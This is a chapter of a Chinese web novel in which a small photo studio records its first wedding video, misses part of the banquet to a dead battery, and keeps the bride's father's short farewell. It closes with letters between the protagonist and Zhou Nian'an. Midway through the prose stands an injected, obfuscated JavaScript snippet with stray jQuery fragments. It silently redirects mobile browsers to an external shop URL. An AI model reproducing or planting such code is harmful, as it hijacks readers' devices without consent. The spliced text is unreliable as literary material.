十二月第一场雪下得不大，落在旧巷屋檐上，刚白一层就化成水。
老高表弟的婚礼定在十二月十六。
这事原本只是预约本上的一个问号，拖了两个月，终于在婚礼前一周变成了真单子。新郎叫高志强，在运输科开车，新娘许春燕是纺织厂的。两家都想要录像，可市里那家问下来太贵，老高一拍胸口，说红叶也能录。
梁潮生知道这件事的时候，已经是老高把人领进店里以后了。
“我什么时候说能录了？”
老高理直气壮：“你那本子上不是记着吗？”
“我后面画了问号。”
“问号也是记。”
梁潮生被他这套歪理堵得没脾气，只能看向坐在旁边的新郎。高志强有点不好意思，搓着手说：“要是不行就算了。我哥说你这边能借到机器，我们也不要求多好，能把接亲和饭桌录下来就行。”
“摄像机借得到，录像机也能借。问题是我没正式拍过婚礼。”
老高插嘴：“谁还不是头一回？”
“你闭嘴。”
许春燕一直没怎么说话，听到这里才问：“那声音能录进去吗？”
“能。”
“我爸讲话也能录？”
“只要人别离太远。”
她点点头：“那就录。”
没问画面漂不漂亮，也没问有没有市里那家专业。只问父亲的话能不能留下。
梁潮生抬眼看了她一下，没再推。
设备是邵老师帮忙从文化宫借的。摄像机比梁潮生想象中还沉，肩扛式，配两块电池，一盘录像带能录两个小时左右。邵老师把机器交给他时只说一句：“别逞能。拍不稳就停，别一边跑一边录。”
梁潮生点头。
梁潮平站旁边摸了摸摄像机外壳，眼睛都舍不得挪开：“哥，让我扛一下。”
“不行。”
“我就扛十秒。”
“不行。”
“我比你稳。”
“你上次端一盆水都能洒半路。”
“那是地滑。”
“今天也滑。”
梁潮平还想争，梁潮生已经把机器装回包里。他这次没让弟弟碰主机，只把备用电池和录像带交给他，另外让陶小满帮忙记时间。谁什么时候讲话、哪盘带录到哪儿，都先写在小本子上，免得回来后连自己拍了什么都找不到。
周念安知道这件事，是婚礼前三天。
她最近的信比开学那阵少了，课多，月底还赶上第一次正式考试。梁潮生写信告诉她红叶真接了录像，她隔了一个星期才回。
信里没有一大篇建议，只有几句：
别总盯着新人。
上次我们去录婚礼，后来最想重听的其实是新娘爸爸那段话。录像应该也一样。
下面又添：
还有，摄像机如果真很重，别为了面子一直扛。你肩膀坏了，红叶不报工伤。
梁潮生看完，把最后一句折进去，只把前两句抄到了小本子背面。
婚礼当天一早六点，红叶就开门了。
雪停了，路上冻了一层薄冰。梁潮生把摄像机背上，刚出门就差点滑一下，被梁潮平看见，立刻幸灾乐祸：“谁说我端水不稳？”
梁潮生回头：“你今天是不是不想吃席？”
梁潮平马上闭嘴。
高家住在厂区另一头。等他们到的时候，屋里已经挤满了人。暖瓶、果盘、糖纸、鞭炮全堆在一起，新郎的几个同事正在门口起哄，非让高志强现场唱一首歌再去接人。梁潮生刚把摄像机打开，就有人冲着镜头挥手。
“录我！录我！”
“你有什么好录的？”
“我今天穿新西装了！”
旁边的人笑成一片。
梁潮生原本还想着先拍门口、拍新郎出门，真到了现场才发现，婚礼根本不按人想好的顺序来。一个人刚站好，另一个人从镜头前横着过去；新郎准备出门，姑妈突然冲出来塞红包；刚下楼，鞭炮又提前点了，所有人一窝蜂往旁边跑。
摄像机一开，根本没人等他。
第一段拍出来肯定乱。
梁潮生心里有数，可也没停。他扛着机器跟着人群下楼，走到院门口肩膀就开始酸。梁潮平在旁边小声说：“给我扛一会儿。”
“不用。”
“你手都抖了。”
“我没抖。”
“画面抖了。”
梁潮生侧头看他。
梁潮平立刻举手：“邵老师说的，不是我说的。”
最后还是换了姿势。机器架到三脚架上，能固定就固定，接亲路上那一段干脆少拍走动，多等人进镜头。
到了许家，比高家更乱。
新娘几个姐妹堵门，新郎在外面喊，里面不肯开。有人从门缝塞红包，红包掉地上，被旁边一个小孩先捡走。梁潮生镜头正对着门，录得清清楚楚。
梁潮平在后面憋笑：“这个一定留。”
“你小声点。”
门终于开了，新郎被一群人挤进去。许春燕坐在床边，穿一件红呢子外套，头发盘得有些高，脸上妆不浓。她一看到镜头，整个人立刻僵了。
“我该看哪儿？”
梁潮生说：“不用看我，你忙你的。”
“可它一直对着我。”
“当没有。”
“这么大一个怎么当没有？”
屋里人都笑。
许春燕也跟着笑了，这一笑反而自然下来。
她父亲许师傅一直站在窗边，穿着深蓝中山装，扣子扣到最上面，手里攥着一包烟。女儿要出门时，他忽然叫了一声：“春燕。”
屋里一下静了些。
梁潮生本来在拍旁边人递嫁妆，听见声音，立刻把镜头转过去。
许师傅大概也没准备什么正式的话。他先看了眼女婿，又看女儿，嘴张了两次，最后只说：“到了人家家里，别什么都忍。过得不好就回来吃饭。”
旁边有人立刻说：“大喜日子说什么不好。”
许师傅摆了摆手：“我就这一句。”
许春燕眼睛红了，低着头说：“知道。”
梁潮生没动。
镜头一直停在那里。
没人鼓掌，也没人接着讲大道理。屋里很快又恢复嘈杂，有人喊车来了，有人找围巾，还有个小孩非要跟着坐第一辆车。
这段只有不到一分钟。
梁潮生却特意在陶小满记的时间后面画了个圈。
中午的酒席更难拍。
桌子摆在厂区礼堂，十二桌人，一开席全是声音。敬酒的时候人不断站起来，服务员端菜从镜头前过，摄像机电池还在第二轮敬酒时突然没电。
梁潮生正准备追着新人往下一桌走，机器指示灯一灭，他心里跟着一凉。
“电池！”
梁潮平已经从包里往外掏。
备用电池塞得太里面，上面压着录像带和线，半天没拿出来。梁潮生急得想骂，又硬忍住。等换好电池，新人已经走完两桌。
“少了一段。”梁潮平小声说。
“知道。”
“要不要让他们回去重敬？”
梁潮生看他：“你敢说你去说。”
梁潮平不吭声了。
婚礼不像照相。
照片没拍好，还能再站一次。敬过的酒不能让人家为了镜头重来，刚才笑过的话也不可能再说一遍。
缺了就是缺了。
后面梁潮生没再追着所有桌拍。他选几个亲近的亲属，拍新人跟长辈说话，拍小孩偷拿喜糖，拍新娘母亲坐在角落里给一只空碗夹菜——夹完才想起女儿已经跟着敬酒去了，又把那块肉自己吃了。
还有老高。
老高喝得满脸通红，非要对着镜头说：“这录像是我介绍的，往后出名了得写我名字。”
梁潮生在镜头后面说：“你先把舌头捋直。”
“我没醉。”
“您姓什么？”
老高想了一会儿：“……高。”
全桌笑翻。
下午三点，最后一盘带录完。
梁潮生把机器关掉，肩膀已经酸得抬不高。梁潮平帮他拎包，难得没说风凉话，只问：“以后真干这个，每场都这样？”
“差不多。”
“那得买个轻点的。”
“你出钱？”
“我负责提建议。”
“滚。”
回到红叶以后，他们没有马上还设备。新人第二天要来试看，梁潮生先把三盘带从头过一遍。
第一盘乱得最厉害。
门口有人挡镜头，楼梯里画面歪过一阵，还有一小段只拍到了别人的后脑勺。第二盘好些，许师傅那句话完整留着。第三盘少了两桌敬酒，中间还有换电池留下的一小段空白。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815935|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
梁潮生越看越觉得毛病多。
“这个能交吗？”梁潮平问。
“能看。”
“我是问好不好。”
“第一回你想多好？”
梁潮平不说了。
第二天下午，高志强和许春燕来了。
梁潮生提前说：“有一段电池断了，两桌没录上。前面接亲也有点晃，你们先看，觉得不行这部分钱我不收。”
许春燕没先说钱，只问：“我爸那段有吗？”
“有。”
“那先放那个。”
梁潮生把录像带倒到记好的时间。
电视里先晃过半扇窗，然后许师傅进了画面。
声音有些杂，外头有人在喊车，可那句还是听得很清楚。
到了人家家里，别什么都忍。过得不好就回来吃饭。
许春燕坐在电视前，半天没说话。
高志强在旁边有点尴尬：“爸这话听着像盼咱俩过不好。”
她吸了吸鼻子：“你少说话。”
又看了一遍。
“这个别剪。”
梁潮生说：“没打算剪。”
后面那些晃的、乱的，他们反而看得很高兴。看到堵门红包被小孩捡走，高志强笑得直拍腿；看到老高喝醉以后忘了自己姓什么，两个人差点从凳子上笑下来。
许春燕最后问：“能不能再复制一盘？我爸妈留一盘，我们自己留一盘。”
“可以，不过要另买空带。”
“行。”
她付钱的时候没要求扣那两桌没录上的费用，只说：“下回你们电池多带一块。”
梁潮生听完笑了：“下回您还结婚？”
许春燕瞪他：“别人结！”
高志强在旁边笑得停不下来。
这一单挣得不算多。设备借用、录像带、来回车费一扣，剩下的钱比拍几套全家福也多不了多少。梁潮平很失望：“忙一天才这些？”
梁潮生把钱放进铁盒：“第一回。”
“那还接吗？”
“有人要就接。”
“机器呢？”
“先不买。”
“为什么？”
“贵。”
这答案很实在。
晚上，梁潮生给周念安写信。
这次倒没废纸。
第一场婚礼录像拍完了。机器太重，第一盘有点晃，中午还断了一次电，少录两桌敬酒。客人没退钱。新娘爸爸那段录到了，她看了两遍。你上次说别只盯着新人，算你说对一次。
写到这里，他停了一下，又补：
录像跟照片不一样。照片不好还能重拍，录像漏了就漏了。
他看了两眼，觉得这句没什么必要，正想划，最后还是留着。
信寄到省城时已经是月底。
周念安考试刚结束，拆信的时候，宿舍几个人正在分一包炒花生。她看完前面，把信翻到最后。
梁潮生又写了一句：
老高说以后红叶真买摄像机，他算第一个介绍人。这个人脸很大，你回来以后少夸他。
周念安笑了一声。
冯玲立刻从下铺抬头：“又是那个男同学？”
“嗯。”
“他这回寄照片没有？”
“没有。”
“那有什么好笑的？”
周念安把信折起来：“他写别人喝醉。”
冯玲一脸不信。
周念安也没解释。
当天晚上，她回了一封很短的信。前面问了婚礼录像的费用和录像带型号，最后才写：
我春节回去。
只有五个字。
梁潮生收到的时候，是一月初。
他站在红叶门口把这五个字看了两遍，随后抬头冲里头喊：
“梁潮平，把柜台底下那堆破线收了。”
梁潮平莫名其妙：“为什么？”
“过年要打扫。”
“离过年还有一个月！”
“提前打扫不行？”
梁潮平盯了他几秒，忽然反应过来。
“周念安要回来？”
梁潮生把信折起来，面不改色地塞进口袋。
“跟她有什么关系？”
“哦。”
梁潮平故意把这个“哦”拖得特别长。
下一秒，一块抹布从店里飞出来，正中他的脸。